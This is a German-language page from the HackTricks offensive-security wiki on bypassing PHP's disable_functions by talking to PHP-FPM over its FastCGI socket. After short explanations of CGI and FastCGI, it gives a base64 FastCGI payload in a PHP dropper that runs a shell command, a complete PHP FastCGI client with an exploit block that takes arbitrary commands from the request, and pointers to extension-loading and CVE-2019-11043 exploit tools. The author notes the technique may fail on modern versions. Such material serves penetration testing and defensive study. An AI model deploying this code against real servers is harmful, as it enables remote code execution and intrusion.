disable_functions bypass - php-fpm/FastCGI

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

PHP-FPM

PHP-FPM wird als überlegene Alternative zum Standard PHP FastCGI präsentiert und bietet Funktionen, die besonders vorteilhaft für Websites mit hohem Traffic sind. Es arbeitet über einen Master-Prozess, der eine Sammlung von Worker-Prozessen überwacht. Für eine PHP-Skriptanfrage ist es der Webserver, der eine FastCGI-Proxy-Verbindung zum PHP-FPM-Dienst initiiert. Dieser Dienst hat die Fähigkeit, Anfragen entweder über Netzwerkports auf dem Server oder Unix-Sockets zu empfangen.

Trotz der Zwischenrolle der Proxy-Verbindung muss PHP-FPM auf derselben Maschine wie der Webserver betrieben werden. Die Verbindung, die es verwendet, unterscheidet sich, obwohl sie proxy-basiert ist, von herkömmlichen Proxy-Verbindungen. Nach dem Empfang einer Anfrage verarbeitet ein verfügbarer Worker von PHP-FPM diese—führt das PHP-Skript aus und leitet die Ergebnisse dann an den Webserver zurück. Nachdem ein Worker die Verarbeitung einer Anfrage abgeschlossen hat, steht er wieder für kommende Anfragen zur Verfügung.

Aber was ist CGI und FastCGI?

CGI

Normalerweise werden Webseiten, Dateien und alle Dokumente, die vom Webserver an den Browser übertragen werden, in einem bestimmten öffentlichen Verzeichnis wie home/user/public_html gespeichert. Wenn der Browser bestimmte Inhalte anfordert, überprüft der Server dieses Verzeichnis und sendet die erforderliche Datei an den Browser.

Wenn CGI auf dem Server installiert ist, wird das spezifische cgi-bin-Verzeichnis ebenfalls hinzugefügt, zum Beispiel home/user/public_html/cgi-bin. CGI-Skripte werden in diesem Verzeichnis gespeichert. Jede Datei im Verzeichnis wird als ausführbares Programm behandelt. Beim Zugriff auf ein Skript aus dem Verzeichnis sendet der Server eine Anfrage an die Anwendung, die für dieses Skript verantwortlich ist, anstatt den Inhalt der Datei an den Browser zu senden. Nachdem die Eingabedatenverarbeitung abgeschlossen ist, sendet die Anwendung die Ausgabedaten an den Webserver, der die Daten an den HTTP-Client weiterleitet.

Wenn beispielsweise das CGI-Skript http://mysitename.com/cgi-bin/file.pl aufgerufen wird, führt der Server die entsprechende Perl-Anwendung über CGI aus. Die Daten, die aus der Skriptausführung generiert werden, werden von der Anwendung an den Webserver gesendet. Der Server hingegen überträgt die Daten an den Browser. Wenn der Server kein CGI hätte, würde der Browser den .pl-Dateicode selbst anzeigen. (Erklärung von hier)

FastCGI

FastCGI ist eine neuere Webtechnologie, eine verbesserte CGI-Version, da die Hauptfunktionalität gleich bleibt.

Die Notwendigkeit, FastCGI zu entwickeln, entstand durch die rasante Entwicklung und Komplexität von Anwendungen sowie um die Skalierbarkeitsmängel der CGI-Technologie zu beheben. Um diesen Anforderungen gerecht zu werden, führte Open Market FastCGI – eine Hochleistungs-Version der CGI-Technologie mit erweiterten Fähigkeiten ein.

disable_functions bypass

Es ist möglich, PHP-Code zu betreiben, indem man FastCGI ausnutzt und die Einschränkungen von disable_functions umgeht.

Via Gopherus

Ich bin mir nicht sicher, ob das in modernen Versionen funktioniert, da ich es einmal versucht habe und es nichts ausgeführt hat. Bitte, wenn Sie mehr Informationen darüber haben, kontaktieren Sie mich über [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Mit Gopherus können Sie eine Payload generieren, die an den FastCGI-Listener gesendet wird, um beliebige Befehle auszuführen:

Dann können Sie die urlcodierte Payload abrufen, dekodieren und in base64 umwandeln, [indem Sie dieses Rezept von Cyberchef verwenden, zum Beispiel](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). Und dann die base64 in diesen PHP-Code kopieren/einfügen:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Das Hochladen und der Zugriff auf dieses Skript werden den Exploit an FastCGI senden (deaktivieren von disable_functions), und die angegebenen Befehle werden ausgeführt.

PHP Exploit

Ich bin mir nicht sicher, ob das in modernen Versionen funktioniert, da ich es einmal versucht habe und nichts ausführen konnte. Tatsächlich konnte ich sehen, dass phpinfo() von der FastCGI-Ausführung anzeigte, dass disable_functions leer war, aber PHP (irgendwie) mich immer noch daran hinderte, eine zuvor deaktivierte Funktion auszuführen. Bitte, wenn Sie mehr Informationen darüber haben, kontaktieren Sie mich über [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code von hier.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Using the previous function you will see that the function system is immer noch deaktiviert aber phpinfo() zeigt disable_functions leer:

Also denke ich, dass du disable_functions nur über php .ini Konfigurationsdateien setzen kannst und dass PHP_VALUE diese Einstellung nicht überschreibt.

Dies ist ein PHP-Skript, um das FastCGI-Protokoll auszunutzen, um open_basedir und disable_functions zu umgehen. Es wird dir helfen, strenge disable_functions zu RCE zu umgehen, indem die bösartige Erweiterung geladen wird. Du kannst es hier finden: https://github.com/w181496/FuckFastcgi oder eine leicht modifizierte und verbesserte Version hier: https://github.com/BorelEnzo/FuckFastcgi

Du wirst feststellen, dass der Exploit sehr ähnlich zum vorherigen Code ist, aber anstatt zu versuchen, disable_functions mit PHP_VALUE zu umgehen, versucht er, ein externes PHP-Modul zu laden, um Code mit den Parametern extension_dir und extension innerhalb der Variablen PHP_ADMIN_VALUE auszuführen. HINWEIS1: Du musst wahrscheinlich die Erweiterung neu kompilieren mit der gleichen PHP-Version, die der Server verwendet (du kannst es im Output von phpinfo überprüfen):

HINWEIS2: Ich habe es geschafft, dies zum Laufen zu bringen, indem ich die Werte extension_dir und extension in eine PHP .ini Konfigurationsdatei eingefügt habe (etwas, das du nicht tun kannst, wenn du einen Server angreifst). Aber aus irgendeinem Grund, als ich diesen Exploit verwendet habe und die Erweiterung aus der PHP_ADMIN_VALUE-Variablen geladen habe, ist der Prozess einfach abgestürzt, also weiß ich nicht, ob diese Technik noch gültig ist.

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

Du kannst diese Schwachstelle mit phuip-fpizdam ausnutzen und sie mit dieser Docker-Umgebung testen: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Du kannst auch eine Analyse der Schwachstelle hier** finden.**

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated